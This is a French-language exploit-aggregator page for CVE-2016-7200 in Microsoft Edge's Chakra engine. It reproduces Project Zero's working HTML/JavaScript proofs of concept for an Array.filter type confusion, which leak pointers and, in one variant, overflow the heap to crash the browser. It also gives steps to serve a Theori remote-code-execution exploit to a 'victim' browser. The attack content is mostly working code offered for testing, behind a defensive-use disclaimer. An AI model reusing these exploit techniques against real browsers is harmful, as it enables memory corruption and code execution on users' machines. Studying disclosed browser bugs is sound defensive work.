Exploit matérialisé

CVE-2016-7200

HIGH KEV

2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge - 'Array.filter' Information Leak

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922

There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:


var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){

		return d;
        }
}

class MyArray extends Array {

  static get [Symbol.species]() {
  return dummy;
}
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

function test(i){

	return true;
}


a.__proto__ = MyArray.prototype;

var o = a.filter(test);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);


function test(i){

	return true;

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>

https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1

I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->

<html>
<body>
<script>

var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {

	alert("get");
        b[0] = {};
  return dummy; }
}

var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);

for(var i = 0; i < 0x200000; i++){
    a[i] = i;

}

function test(i){

	return true;

}



a.__proto__ = MyArray.prototype;

var o = a.filter(test);
alert(o);
var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script>
</body>
</html>

ExploitDB remote windows

Source

Microsoft Edge (Windows 10) - 'chakra.dll' Information Leak / Type Confusion Remote Code Execution

Par Brian Pak

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

Source: https://github.com/theori-io/chakra-2016-11

Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40990.zip


chakra.dll Info Leak + Type Confusion for RCE

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201)

Tested on Windows 10 Edge (modern.ie stable).

FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe

FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3)

To run:

Download exploit/FillFromPrototypes_TypeConfusion.html to a directory.
Serve the directory using a webserver (or python's simple HTTP server).
Browse with a victim IE to FillFromPrototypes_TypeConfusion.html.